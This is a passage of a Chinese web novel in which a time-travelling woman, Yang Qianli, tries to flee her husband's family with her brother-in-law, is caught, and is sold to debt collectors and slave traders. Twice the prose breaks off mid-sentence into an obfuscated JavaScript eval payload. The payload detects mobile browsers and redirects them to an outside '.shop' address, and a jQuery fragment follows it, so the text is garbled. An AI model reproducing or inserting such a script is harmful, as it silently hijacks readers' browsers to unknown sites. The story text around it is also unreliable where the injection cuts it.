她又抱着怀里的面馍馍,凑过来说:“先不说了,杨大夫,帮主还叫我去交差呢。” 杨千里见她行事激灵,念及之前,不免为她高兴,调侃:“也好,你这混得也不错了。” 娟儿没接过话,反而眼睛往她后面看去,严肃地说:“总之恩人你一个弱女子最近少出门,他们都在传有妖怪,小心盯着你的眼睛。” 又是妖怪?或者谁要生事的幌子? 杨千里顺着回望,果然街上的人还有些异服的溜子,莫名地往她这边瞟,不善地像挑一盘菜。 * 李善今早出门,和供货的一谈完就念着回家了。 刚到衙门口,青砖灰瓦,一对石狮子旁边就跪满了人,衣衫褴褛,衣带规整的,贴告示的,击堂鼓的,泣不成声。 “兄弟伙,你怎么和这些老人家还有小姑娘一起跪着呢?”李善把面前这个还算精壮的小伙儿给扶了,他认为三尺男儿不随便跪,那小伙子没站,却当场哭了起来。 他说:“吴家把我们家的田地产收了,我们家种不了地,就没有粮食吃,还要交税。上哪儿交啊?我们一家就别不想活了!” 一旁老人揩眼泪:“是啊,明明说好还有三个月的期限,他偏偏要昨日来。却要提前抢,把我们一家不由分说赶出去,这还有没有什么王法?!” 他们撕扯着嗓子,不管是哭得嗓子疼的,还是磕头叫青天大老爷,磕得冒血的。 正门旁的左右带刀衙役,都视若无睹一般,维护红缨黑帽的体面。 来往旁人只是看了一眼,伤感一下,庆幸自己没借债就走了。 李善也一样,不过他还有些窃喜,毕竟没轮到自己,他也知道药铺赚钱,所以吴家不动他们,还一个半月就能把那个钱给还上了。 他往回里走着,街道冷清,可就在不远处,就听到人在骂街,本来平稳的心,又慌了起来。 一凑近发现,果不其然,是他的妻和他的娘,只不过可凑巧了,就连他弟弟也在。 8. 帮腔 今天街边上没什么人看戏可算是好事。 他走了过去,王氏一见着他来,就叫唤了起来:“儿啊你来得真好,今天可让我逮着这不要脸的贱蹄子了!” 王氏把杨千里的手,提了起来,露出她手心攥着的那枚簪子,咋呼:“你居然骗你的小叔子给你买簪子!还让他给你戴上去,你的狐狸尾巴终于露出来了?” 李延面色莫名紧张,杨千里没说话。 李善也是怒上心头,可上前仔细一瞧,这个骨簪不是他先前给杨千里买的吗? 只是杨千里平时不戴,最爱的是干练素发。 王氏尖锐着声音,她今日听着邻居的提醒,才知道妖怪会施法,摸墙过来抓杨千里施展妖术,果然有古怪,交头接耳墙边乞丐,原是想蛊惑她的宝贝小儿子! 她瞪着杨千里:“是你骗他买的。我都看到了,我儿子还给你戴头上。你这个妖怪到底要怎么害我家?” 杨千里只心里骂道,这王氏越来越神经质了,今天居然跟这么远,一点间隙都不给她,也不知道李善会怎么想。 她微微捻起李善袖口,有些委屈地看他,心里却想的李善不好糊弄,而且一家人里面,她最怕这个不定因素。 李善就是个面善的传统男人,平时能和睦客气,骨子里的腐朽强势可散不清,要是晓得自己被戴绿帽子,可就不止休妻讨骂那么简单。 李善不由皱眉,听到弟弟给自己的妻子带簪子,就算是自己的,任哪个丈夫听了都是心惊。 但他望向自己可怜的妻子,想她是懂礼数分寸的,就解释了下来。 “这样?”王氏不依不饶。 “是。”李善回应,他也不想让他娘当街发脾气,受人脸色。 杨千里冲他笑一笑,然后牵住了他的袖子:“早说嘛,就是这样。” 她只顾着松一口气,没有注意到李善神色正警惕地查勘。 杨千里怎么都没想到,今天和娟儿见面完之后,遇上了李延,这么远竟还会被王氏撞上。 还好,她只是簪子掉出来,李延只是从地上捡回,给她别上才没让王氏捏着话继续往下面骂。 王氏对她意见大,跟踪也愈发让人喘不上气,这种搞不好之后做些更极端的报复,果然逃跑的行程得提前。 杨千里如今只在傍晚那会儿,趁着王氏出去种菜,她就在后院墙角凿个小洞,往里面藏钱。 这钱一时半会儿也取不出来,得找个好时间给换了,铜板毕竟不易携带。 一家和睦终究是表象,几个人心怀鬼胎。 王氏这下笃定,杨千里是一只法力高的妖精。两个儿子都这个时候了,还在想着帮妖精,而不是生他们的娘,她可得想偏方法子帮两个儿子擦亮眼。 李延今日当真是碰巧路过此地,还没碰到杨千里手心,他母亲就大摇大摆地冲他们吼,令他心跳到嗓子眼。 他再是怎么爱杨千里,也知道这是叔嫂□□,禽兽之行,他这种肚里有二两墨的最怕莫过于为天下人之所耻! 尤其还败露于他娘面前,等同于让他的廉耻羞杀了他! 好在他兄长没有追究,也就松了一口气。 不过,他今早还在私塾念书时,遇到个人,王先生的妹妹。 王丽蓉也是软磨硬泡多日。 她见他一本正经默读着册本,心生有趣地上前调戏他,慢慢讲述着倾慕之意。 “李郎何必愁眉苦脸,念书又念不成什么名头来,不如同我与张海去北边寺庙求缘去?” 若是换了寻常男子,被美娇娘如此奉承,早就心飘飘地念“关关雎鸠,在河之洲”。 可词不达李郎意,他本就因家里还债又藏钱过得敏锐清瘦,这下更是觉得被冒犯。 “不了,王娘子还是自行享受吧,李某就不扰雅兴。”他草草地结束了王丽蓉的示爱,准备拿书一走了之。 那王丽蓉听完愤懑,自己花这些天接近,此人就辜负自己一片真心?当真同张海所言是和他嫂嫂有染? 她讥讽:“李郎你这是回去陪嫂嫂?说句不好听的,你嫂嫂同你兄长或许蜜里调油,又何必操劳?” 他皱紧眉头,一口反驳回去:“王娘子还是少听那些流言,当着李某面至少谈上尊重。” 可现在回来心里说不出来的滋味,或者说做偷情郎,名不正言不顺的,在心爱之人和叔嫂这份身份面前,怎么也抬不起头。 他又盯着现在一脸笑意的杨千里,温声对着他哥说话的样子,这不就和平时对他相同? 她是不是对谁都这样? 那他呢?他该怎么办? 李善纵是日日操劳药铺,鲜少回到家里,这会儿也品出了一点不对劲。 但这个不对劲,他不会怀疑在自己的弟弟头上,凭他们兄弟情深,当然是身边的娘子。 娘子再是服帖称心,他的弟弟连及冠的年纪都还没到,没人挑动怎么会出格呢? 晚间,二人厢房,李善一改往日,不仅没走,还坐在了她的床头前,问:“千里,同我要个孩子如何?” 杨千里不免皱眉,自然是拒绝了回去,“相公这是说的什么话啊?我们不是说话了等债务还清,生活稳定下来了,再让孩子出生吗?” 李善揽住了杨千里的肩头,他以前可从来没如此亲昵,但一想着她本就是自己的娘子,连着白天她和李延有些眉来眼去,他就更觉得本该如此。 他反问自己,莫不是平日里没满足她,让自己不配当得这如意郎君了? 李善思忖此处还收紧了些掌心,让杨千里不得不贴向他,再问:“你本就是我的娘子,我也本就是你的郎君,就只剩下一个月了,人生苦短的,为什么不同我圆房呢?” 这番话在杨千里脑子里炸开了锅。 谁能要孩子呢?疯了吧,她可是不婚不育主义者,难道这李善还没还完债就想要孩子来套牢自己?她不免这么想,也愈发觉得恶心。 杨千里忍着表情,没有把他推开,只是摇头说:“我自然晓得这个道理,只是觉得时间不对。” “哪里不对呢?”他语气些许急促。 “当然是时机不合适,我们还是先把债务给还完吧。听娘说,这一个月能节俭,能少用点体力,就多用一点。免得我到时候怀孕了,你们的活就重了,现在我也多干一些活,帮咱们还债,不好吗?” 杨千里微微拉开了他的手。 李善也不是不懂她口中的道理。 可胸腔了就是燃起了愤懑,他的妻子居然在排斥他。尽管表情不变,单从这细微的动作,自己怎么又看不出来? 他直接发问:“你这是在嫌弃我不够年轻英俊,还是没读过书,不讲斯文呢?” 杨千里一下皱眉,这下也听出个所以然。原来是因为李延,他果然还是在猜忌二人关系。 男人疑心病都重,只要是对上比自己条件好的,这下杨千里就像是在刀刃上走了,要是说错什么话,李延一计较上,定会骂她们两个狗男女,到时候奸夫淫妇的名声都洗不清。 所以接下来的话一定要好听。 “都不是。你为什么会这么问?无论你什么样,我都是爱你的,你是我的丈夫啊,自然是全天下最好的男人。” 她一边柔声细语,一边垂在他的肩膀上,用这些天安抚李延的动作来安抚李善,拍了拍他的手背说:“你这一双手,这些月来,为了采药,手上起的茧子还有疤痕,我都看在眼里了。为了我们一大家子这么辛苦,我又哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846950|211756||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 里会不懂呢?” 她摩挲着那些起茧的地方。实际上,杨千里心里很是怪异,她对摸这种粗糙的宽掌一身鸡皮疙瘩。 李延的手只沾书墨,是少年人的细腻,那么李善就是常年爬山采药,糙得像砂纸。 尽管兄弟俩六七分像,她还是喜欢细皮嫩肉的李延。 而她在现代就是一普通文员,上班下班吃饭,三点一线的,回到家就是出租房的床,除了同事,都没和男人近距离聊过,更别提亲密接触。 这下还得装一个贤妻良母样出来,真是为难她了。 这些话说得生硬,好在对男人脆弱的自尊心倒是很受用。 “我只是想着,要是这么快就怀孕的话,看店也不方便。就想着等后面把债还上了,我再怀上孩子,到时候咱们一家看店也能轻松点。” 李善被她的一番话动容,当即抓住了女人手掌,说:“我晓得千里的一片苦心了。” 难道真是他弟弟在觊觎他的妻子? 杨千里的眼珠子转了转,早料到会有猜忌,只是有一必有二,得通知李延,赶快收拾好包袱早点跑路了。 ** 隔上一天,等一家消停些。 杨千里就偷偷写下文书,塞到李延书房的小窗里,白纸黑字上写着:“刻不容缓,我去换盘缠,若是户籍文书一到,寅时租车出走。” 天刚起早,她就去挖铜板了。 李延接过窗缝的纸条来看。 一见到“离开”的字眼,他多少就害怕上了。 虽然平日里嘴上说得很坚定,但真要离开他的兄长和娘,还有背后的李氏药铺,又说不清楚地犹豫和后怕。 自己像个抛弃家庭的坏东西、不孝子,纵然他爱杨千里,抛下所有私奔,这真的值得么? 钱庄,杨千里刚把包袱里的几贯钱换成了碎银子,掌柜的没多问。 她这边是思忖万分,才打算带上李延的,本来是打算自己一个人拿了钱就跑路,可想着南下的路途也没安生。 她一没武功,二还拿着这么多钱券的,很容易引来劫财杀身之祸,但再加个李延也好有个照应,要是能给钱跟上送镖的就更好了。 计划稳妥进行着,她也是心情极佳,只可惜刚出钱庄,她没注意到,自己再朴素的行头也被人瞧了去。 李善从角落里走了出来,目光冷冽地踏进了她刚刚离开的钱庄。 ** 杨千里和拉车的打完招呼,就匆匆地赶了回去,她总觉得眼皮跳得快,胸也压得特别慌,像是周围有什么人跟着她,可回头却又什么都没有。 她估计是自己压力太大,葵水都好久没来了。 王氏不在,她最近神神叨叨的,之前苍蝇路过李家呼吸一口都要骂一句的,现在倒是大方得往灵牌旁边放糯米,买大蒜之类的。 可能是知道自己脾气不好,补碳水了吧? 杨千里一边想,一边揩着额角薄汗,临近秋末,因为腰背薄到和这家子一样了,她特地多穿了些,只是没想打回来得这么急。 李延迎了上来,手里攥着个灰布袋,因为家中无人,更是兴奋地说:“嫂嫂,已经办妥了,黄页的凭证就在这里面。” 他递了过来,这昭示着她不是黑户,已经是良籍,虽然连有门户的边都够不上,只是个庶民,但总是有了基础的人权,她也相信自己能把日子过好。 杨千里连忙收在了袖口,但瞧着李延表情并不欣喜,她没管那么多,只是说:“那就今晚吧,拖得越久,越没定数,盘缠干粮我都收拾妥了,便衣走。” 南方的天气算好,只准备基础两件也行。 她说得如此笃定,反而让李延陷入沉思,瞧着杨千里离去,想起刚刚的事。 9. 反转 李延去拿户籍的时候,到王有才书房门外,就听到一阵争吵,他就贴着墙角偷听了起来。 说着赶快嫁给吴家小少爷这类话。 “我不要!” “吴家家大业大的,有什么不好,把你托付到好人家,也是咱娘的遗愿。” “你让我嫁到一个行事心狠手辣的家里,这算什么好人家?!我在后面的日子可怎么盼得了头啊,我只是想要一个平和的生活,嫁善良的人家而已。”王丽蓉哭哭啼啼地说。 王有才怒气冲冲地拍在桌上,拿着当前的局势逼问她:“最近私塾都不好营生,外面都乱成什么样了,你怎么能这么不懂事?人家吴家的小少爷也对你很满意,你就知足吧,蓉儿。” 王丽蓉狡辩道:“可是李延他们家那个药铺的生意我看不错,估计能够还完呀。” 李延不免心惊,老师妹妹是对他芳心暗许,但更多能听出是拿他做挡箭牌。 他只能为她可惜,不管落花有情,他这辈子也只会喜欢杨千里。 “还完?”王有才有些意味深长地一笑,王丽蓉也立刻消停了。 李延听着二人又没什么动静,连忙退了老远,假装才经过此处。 刚巧就和哭得梨花带雨的王丽蓉迎面撞上,她袖口擦着眼泪,见李延同自己打招呼,就提醒了一句:“李郎,最近小心吴家,他们攀上了士族。” 李延还在原地沉思。最近街上确实冷清,就连私塾好几个同窗都没有出门了,在课的同窗都嘴里说着是启林城的妖怪没抓到,跑他们这儿来了。 有的还谣传,九尾狐离得越近,灾厄越多,他们镇怕不是被缠上了? 这让他对逃跑到外面更恐惧了,不是妖物,而是没了他哥哥和药铺给的束脩,他今后该怎么考取功名呢? 算了算了,李延捂着头,事到如今,他是愿意一起为爱奔走的。 他大概都没想到,李善就在门缝后面打量,虽然没听到什么,叔嫂间大体的举动也不逾矩,但他心里就是很慌,那一块像钻了虫子。 王氏买菜回来,迎面就和李善撞上了。 王氏很激动,刚想跑过来想喊她儿,就被捂住了口鼻。 “娘,别说话。” ** 五更天,天蒙蒙发黑,万籁俱寂,城外面守卫疲乏松懈,家家户户这会儿也爬不起来。 杨千里蹑手蹑脚地套上了鞋,批了厚点的衣裳,就打算出门了。 李善纵然是睡在枕边,床单各摆一角的,也闹腾不醒。 她淡定地假装自己去上茅房,谁能猜到是跑路呢? 杨千里,一个现代人,没了城市的灯光,靠着月光,眼睛也逐渐习惯了黑灯瞎火。 按照约定,她和李延在书房门口碰了面,再去侧门边上的大缸里去拿包袱。 她刚推开门的一角,那木板结间的腐朽就吱呀作响,在安静的环境被无限放大,搞人心态。 忽地,刚出去几步,李延就抓住了她的手腕,面上说不清的恐慌与紧张交杂:“嫂嫂,要不我们先别着急逃吧,其实凑凑能还完债的。” 杨千里不知他发什么神经,抽回了手,问:“你不走了吗?” 李延犹豫地找着措辞,说:“不,不是,只是觉得你太冲动了。我们先回去吧。” 后悔就是一阵汹涌的浪潮,一整天都在折磨着他,直到现在把他拍醒了。 在这里,他至少是受人膜拜的读书人,而离开了私塾,没了童试乡试完成考试,他自诩特立独行的修养还有高尚品德,又有谁瞧得起呢? 更何况让他一个抱腹诗书礼易的人,去南下干什么粗活?!他完全不敢想。 他不敢对着杨千里诉说真实的感受,怕被这女人怪懦夫。 杨千里也早就料到他做事优柔寡断了,想着自己一个人能快点跑就快点跑,说:“你不想走的话,那我就自己走。” 路上能多个保镖的话是不错,只是这个钱不太够分,她自己小心些也不是不行。 这李延偏就是抢过她的包袱,吵道:“千里,你冷静点,留在李家有什么不好的?” 一来二去越来越激烈,给杨千里整得心慌,直接去打李延的手,道:“你给我滚。” 里屋那块黑洞洞的,也由寂静动响了起来,就像藏了什么鬼怪,连这两个人一块儿被吓到了。 李延知道事情要败露了,但怎么样也被她杨千里跑了更好,就凭借比她还高大点的身体,牢牢抱了上去,认她怎么踢打都不放开。 杨千里快被气死了。 “千里你听我说,我这是为了你好。我们一家一直生活会更好。” 王氏从房里面窜了出来,口中喊着:“抓贼啊。” 李善潦草地抓了件衣裳出来,就见着他的娘子正和弟弟恬不知耻地抱着,他怒不可遏地扇了李延一巴掌。 力道大得这文弱书生的重心不稳,团着杨千里的手一松,就摔在了地上,疼痛地咳嗽连连。 王氏惊讶,去把自己好小儿扶了起来。 李善把杨千里扯会了怀里,但尴尬地是白天藏的那一大袋包袱,被扯了出去,藏进去的烧饼和衣服都掉了出来。 李善瞪大了眼,原来是私奔啊,他又一把抓住了杨千里的手腕,经常上山采药的缘故,他的身体意外地强健。 她刚刚就被李延勒了很久,这下腕口更疼了,说:“你听我解释。” “还有什么好解释的?你这个□□,不就是想和他私奔吗?” “我没有啊,收拾收拾新买的衣服而已,都怪你的弟弟。” 杨千里一向花言巧语多,他现在懒得听,直接把她给五花大绑了起来,又在王氏张目结舌的崩溃里把李延也捆了,两对所谓的奸夫淫妇。 “我就知道,你同我说的那些甜言蜜语都是假的,你一直爱恋的是我的弟弟。现在你勾搭上了我弟弟?毁坏了我的家庭,还要骗一些家财,同他一起跑了?” 杨千里嘴里被塞了布条,被问什么都只能摇头,她冤枉啊,她一没真出轨,二没硬要李延跑。 王氏有些说不出的痛快,她又气又觉得大快人心。 但面部因为兴奋而扭曲,但证实了杨千里是狐媚子也没让她害怕,因为这狐狸居然能够被绑起来。 王氏:“妖怪,妖怪,这当真是个妖怪!我就说我们李家居然被骗了这么久,儿子啊,你看,我就说她是个妖怪!” 她抓着李善胳膊摇晃。 李善本就在气头上,泄愤般地又扇了他弟弟一嘴巴子,打得李延牙底出血,鲜红顺着他的嘴冒了出来。 王氏连忙挡着李延面前,说:“不不不,别怪他,是这个妖怪给蛊惑了。” 然后示范似地,抓着杨千里的领子,咬着牙扇她,道:“都怪你,都怪你!害我出去抬不起头,害我丈夫死了,你还蛊惑我两个儿子,你这个贱人!” 杨千里只怨恨自己逃跑计划多加了猪队友,果然男就是男,只是嘴上说说不吃亏而已。 既然错都错了,脸上被打得火辣辣地疼,她抬头瞪了回去,一套漂亮的美瞳划片。 王氏反而兴奋:“大师果然没说错,现在你被我抓着了,那也没办法了。明天你就等着上去游街吧,就说这妖怪已经被抓到了,我们李家也终于不用再被这些腌臜事给缠着了。” “不行!”两兄弟异口同声地说。 他们心知肚明,杨千里不是妖怪,娘要是真出去说,可就是上赶着给人添唾沫星子。 李延可不想被骂违人伦的牲畜,就为杨千里求情,哭哭啼啼地说:“兄长,阿娘,求你们放过嫂嫂,都是我的错,是我一时被嫂嫂迷了心窍,才会想着勾搭嫂嫂。都是我的错,你们别怪她。” 李延这一番话,相当于帮倒忙了,王氏更加没来由地生气,两个儿子又一次帮着外人坑她一片苦心! 李善想着,他现在是恨杨千里这个死女人联合他弟给自己戴了绿帽子,也奈何不了她。 因为债没还完,药铺的生意又上哪找免费的帮工,干脆一咬牙竟对杨千里安抚起情绪来。 一家三口你嚷我我嚷你,竟磨蹭到了雄鸡报晓。 结束这段争吵的,是更大的噪声,李家小院的正后门,被几脚踹开连带着门闩摔在了地上。 刷刷几下,涌入一堆穿着黑袍,腰间插着大刀,满脸横肉的壮汉。 一个个凶神恶煞,打扮不像官差,也不像劫匪,脸大胆地露出来,很明显,李家没有惹什么大事。 如此大阵仗而来,究竟是因何而来呢? 刚刚嚷嚷个不停的一大家子,这会儿都吓傻了,还是王氏先警惕地开口:“你们是谁?” 为首穿着硬挺面料,劲装的男人,从袖口拿出来了黄纸红字的债券,说:“今儿啊,爷几个是奉小少爷之命来收债的。李家欠银一百五十两。本金七十两,县太爷都发话了,今日就要你们这些老赖还了。” “今日让我们还?怎么来的这么个道理?”王氏骂骂咧咧地说道。 李善心头一颤,那天在衙门听到的事果然不假,今天这是轮到自己了吗? 他后退了几步,带着些踉跄。 那些个家丁抄着家伙,一个个可不好糊弄,手里面都拿着大刀,直直地望李家屋子里奔去收钱了。 王氏气得腿软,摔在了李善身上,又急道:“你们不要碰我李家的东西!” “欠条里不是还有一月吗?你们这么提前,还有没有王法了?”李延最先反应过来,叫骂道。 “王法?”吴惧替吴家收债这么多年,叫嚣都听多了,颇为得意地走到被捆绑双手的李延面前,重重地抽打他的脑子,说:“老子就是王法!” 吴惧打量起鼻青眼肿的青年,好笑地说:“你是李延啊。我记得就是你小子,看上了我们家少爷未来的婆娘?” 他的刀面蹭在了李延的脸上,然后说道:“是长得挺好一个小白脸的,花言巧语,刚刚在外面正还听你勾搭嫂子的风流事,我还以为多能耐呢,还不是我两个巴掌的事。” 王氏立马跪了下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846951|211756||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 来,看着这把刀悬在儿子脸颊边,说不出的心疼:“官老爷,求你莫要为难我儿子。” “去去去。”那为非作歹的人一下子把王氏踹在了旁边。 乡绅土豪的霸道一瞬间就让平日里站着说话的几人跪下来,不管是仗着自己是一家之主,还是倚老卖老。 说到底,他们都只敢欺负比自己弱的,淫威之下眼皮又跳了。 杨千里看着几人吃瘪,心中有种说不出的痛快,好像脸上被扇的一巴掌又不疼了。 但对方可不是因为可怜她被男人负心才出手的,敌人的敌人就是朋友这套说辞,只能用在对等的角色。 很快安静如鸡的她也被吴惧扫到,只是打量货物一般轻,她现在就像李家肉一样受人宰割。 他清点了手下收缴上来的钞票,慢悠悠地说:“我估计你们家把药铺拿来抵了都还不上。” “这都没到规定时间呢,官大老爷,再宽容一下。”李善这会儿下跪了,“我相信官老爷您不缺那点钱的,本就赶上战乱,我们生意还算景气,等后面赚了连本带利来孝敬您。” 王氏反应过来:“对对对,再送点礼。” “送礼?我们主子家大业大的,看得上你这点儿。”吴惧讽刺。 李善想着刚刚吴惧针对的话,又把自家弟弟的绳子给拆开,按着他的脑袋,膝盖往地下砸,碰一下那读书人的“面子”就没了,李延还挣扎了几下,可就是犟不动他哥的力道。 李善说:“官大老爷,舍弟如此愚钝,哪里会做勾引少夫人的事?他给您磕头都来不及呢。” 砰砰砰,凿地上好几个响头,才让吴惧满意地点头。 他鼠精一样的眯缝眼,又飘忽两下,落在了杨千里的身上,“我听说啊,李家的新妇有些来路不明。” 他的手捏住了杨千里的下巴,打量起女人的样貌,满意地点头:“听说还是个痴情种,不过被棒打鸳鸯咯。” “虽然好奇你们叔嫂怎么个偷情法,但小妮子还算清秀,脸也圆润。不如抵给我们这儿的人侩,也好把这个债给还清。” 杨千里气愤地瞪了过去,要不是嘴里被塞了布条让她支吾不了,现在已经对着死走狗的脏手咬了过去。 他凑近,杨千里这么一瞧,才发现是那日大街上明目张胆偷瞟他的外地人,原来那会儿就在镇上挑人了。 “对对对,可以把她给卖了。”王氏一听到可以救李家药铺,也没顾忌杨千里是个妖了。 李善虽然之前没想过去报官叔嫂通奸,但那是想着多个免费的人手,还能帮着做饭,给自己带了绿帽也忍了。 可这会儿铺子都要没了,这女人留着有什么用? 他点头哈腰:“官老爷,我娘子自然是为了李家愿意奉献自己。她能识文断字,学习也快,送到那些大户人家自然是好。” “能识文断字的可以送去当小妾了。不过你的娘子跟了你这么久,连个鸭蛋都没下出来,估计也不是个能生育的。”吴惧嘴尖,他可不想让自己买入的价多了,就贬低道:“顶多丫鬟。” 李善白了脸,他自觉身为一个男人,不能说自己阳痿,急于解释:“是出于家事,我才没有同家妻圆房。” “李兄弟还真会说呢,我刚刚就在外面听着,你娘刚刚吼得很大声,你媳妇是个妖怪,窝藏妖物又不报官,按道理你家是不是连诛?” 王氏立马摆手,这会儿也不说妖怪了:“没有没有,哪里的话,我跟我儿媳妇开玩笑呢。” “也是嘛,就算是妖怪也得给我绑起来抵债。” 就这样,几人你一言我一语中,拉扯价格,杨千里被拉走了。 大鱼吃小鱼,李家三口是被利滚利套牢脖子,她也是,只不过小鱼吃虾米,她甚至连绳子都挣脱不了。 如果当时李延拽她,她力气再大点给甩开了,不说打回去,至少跑过了,是不是就自由了? 她做梦都没想到,逃跑计划不仅失败了,自己还真的就应了王氏那一句,万般皆是命,黑户命就是黑户命。 还不如当初被李家三口告上衙门了,反正最后都是被卖了数钱。 她愤愤地往回看着这一家三口。李延哭得撕心裂肺,正想往她这边冲过来,王氏在后面死死拉着他,李善面上只剩点惋惜,毕竟她好歹救了自己的药铺。 李家都是害她的人,也包括李延。如果李延真想要冲过来救他,又怎么会挣脱不了王氏的束缚呢? 他只是纯粹做戏给外人和自己看,他有一颗可怜的真心。 杨千里在心里面暗骂李家三口,现在也只能骂了。 被卖为奴籍,就和死了的区别也就是还没死,活着受辱。不过逃跑一事她不悔,至少能有成王败寇的安慰。 就算她不跑,今日也会被推出去卖了,他们打心底没把新妇当自家人。 天杀的,别的主角穿越都是公主或者官家小姐,再不济都有类似厨娘的稳定职业? 怎么就她一个人是身穿到这儿,还没有好心的父母收留?当黑户。 10. 贱籍 一朝回到解放前。 杨千里被摔到了车篷里,旁边还绑着好些个年纪相仿的女子。 不过都风尘仆仆,像是逃荒被抓去的,就她还体面点。 “老实待着,你已经被你夫家卖了,从今往后就不是什么良家女子,是贱民。” 车像是之前搬牛羊的,一坐上枯草铺的板面,和女人们挤成一堆,都压不住那排泄物的腐臭,吃喝拉撒都在这见不得人的车上了。 恶臭涌入鼻腔,令她干呕。 杨千里慢慢动舌头,良久才把嘴里塞的抹布吐了出来,周围被运的姑娘都瘦得出奇,没精打采,像是被下药般晕乎地埋头。 天刚亮,厚缦布外透进来些光晕,她这才注意到肩膀旁边,有位垂眸的女子很不一般。 这女人没睁眼,晨曦点点洒在她脸上,面容寥寥几笔就勾勒不凡的美丽,像戏文里下凡的仙子,明明还没睁眼,就勾的人可怜。 她像没受过饥荒的,身材不胖不瘦,还白里透红,同舞姬一般恰到好处的匀称柔美。 让人不免好奇美人究竟经历什么,让她有了被贱卖的遭遇? 见她阖眸,微光清浅,杨千里也没多加打扰,于是捣鼓自己的处境了。 她双手被绑在后面,想到之前李善送她的骨簪忘了卖掉,还藏在袖口子里。 她双手被绑就蹭出来,靠着细微锐利,慢慢磨掉这麻绳。 闷厢马车颠簸,内里人挤人,但架不住安静,意外地,还让杨千里听到外面几个牙侩的议论。 “新货听说很不错嘛,识文断字,送到中间估计能卖七八十两银子。” “可不?听说还是个妖怪,他们镇上都传是个狐狸媚子,跑去还勾引自己的小叔子。” “妖怪啊。那这辆车可就巧了。车里面不是还有另一个,长得美若天仙呀。” “我懂我懂,老哥你说的那个启林城的,可美了,之前排队想见她的都能到长安了,不过她傲得很,听说也是个狐妖。” “什么妖不妖的,还不是被哥几个抓了。” “只是叫她的时候,她一不搭话,二也不动,我都没见她怎么吃东西呢。” “可能是个哑巴,不过都长得这么漂亮了,估计怎么着能拿到七八百两,我们跟着享福咯。” “到时候江东那边一送,奴印一打,钞票就大把大把来咯,干完这票我就会家咯。” 人牙子们笑得龇牙咧嘴,甚至都唱起歌来,好像运在车里的不是人,是一堆牲畜。 杨千里想着,居然是被送到江东吗?误打误撞南下了,不过江南重商,被打断一条腿估计都没人管。 杨千里又看向身旁的女子,启林城狐妖?她就是之前卖臭豆腐的婶子给她讲过,丹青出神入化,一画难求的画师娘子? 不是被衙门收押归案了吗?这恐怕是连凶手都没查清,就被当重刑犯卖了? 明眼人都能瞧出来,女人就是个普通人,这断案能徇私枉法这样?真是吃人狗官。 当然杨千里自己状况也好不到哪儿去。 路赶个不停,不留停歇。 直到夜晚,杨千里的骨簪才把绳子磨出一点口,麻绳粗厚,簪尖戳来戳去又低效,她越想越是焦虑。 明明南下该暖和,但阴冷得就像身边有什么鬼气。 她开始思考起来,吴家是放债的商贾,勾结人侩,古代有部分的人牙子是合法的,估计是和官吏串通一气,才抓了这么多人而畅通无阻。 历朝禁官与商贾交通,要是她逃出去,向他们对头报官了? 不过着实是想太远了,牙侩人人配刀,就算武功不大,杨千里肉体凡胎的,也禁不住刀剑无眼。 她根本逃不出去。 还有就是,她并不知道,像她们这样的车到底还有多少辆。 她就算想被烙印奴纹前逃跑,自己的这个视线实在是受限,她也没办法看清车屁股到底还跟着多少辆,敌众我寡。 但她旁边这个女子的视角就不错,可以问问。 她看着旁人沉默不语,用手肘抵了抵旁边普通点的女子,问道:“你是哪里人啊,姑娘?” 这皮包骨的女子没说话,反而因杨千里一碰,头直接垂了下去,像是背部的脊椎都软烂了,背上的布料那块黏湿得色重。 给杨千里吓出阴影,她当即尖叫出声。 外面的人很不耐烦地走了进来,以为是今天忘了给女人堆喂饭,所以她们才这么吵。 手上的饼被均分在每个人嘴里,到杨千里的旁边时,去扶那个女人的头,一瞧,那个女人居然咬舌自尽了。 “断气有一两天了。”那人探完鼻息,像是说着平常话一样,和同伙童心协力,就把那女人直接扔在了外面,砰的一声,砸起漫天尘土。 这些人习以为常,像是在处理什么得病死的牲畜,又转过头来,继续去包袱里的饼塞在她们嘴里。 杨千里挪到了那个女人的位置,也看到了,官道后面只跟着三节车。 草菅人命啊。 这些草菅人命的帮凶,加起来大概有七八个。 杨千里只记得被扔的那个女人,眼睛成了窟窿,发烂的舌头肉都了掉出来。 古人的观念里,比起为奴为婢,刚烈赴死的结果或许更好,只是太血腥太残酷了。 杨千里做不到这样。 晚上的时候,她就心烧得疼,晚上,又冷又饿,鼻腔一疼冒出来些温热的血液,明明不干燥的天,像被白天的女人吓得积压了。 自己这辈子就命丧于此了? 她想回现代。 ** 几日来的食饭不饱,每天只有一个窝窝头或饼块,吊着口气,很快她就不知道怎么思考了,甚至起兴的骨簪都没劲,和旁边死气沉沉的女人没什么区别。 杨千里有些理解,为什么没有哭闹了,这样想,如果主人家给一口饭吃,她也能活着?等个二十几年,攒钱赎身出去? 她很崩溃。 身体为了节省机能,她时常一睡就是大半天,佝偻着背,弯着脖子,和别人一样。 又有些许区分。 她好几次觉得自己其实没穿越。那几日,她就坐在工位电脑面前,开着小窗打游戏、摸鱼。 她一个小文员儿,工资就那么点儿,升也升不上去,白天不摸鱼,简直对不起她的工资。 泛着白光的电脑里是个单机探索游戏,所有的地图都是随机生成,而玩家需要扮演一个修真者。 挂机越多,经验也越多。 而她,200个小时的摸鱼记录让她排成了修真界第一人,也体验着到处杀伐的感觉。 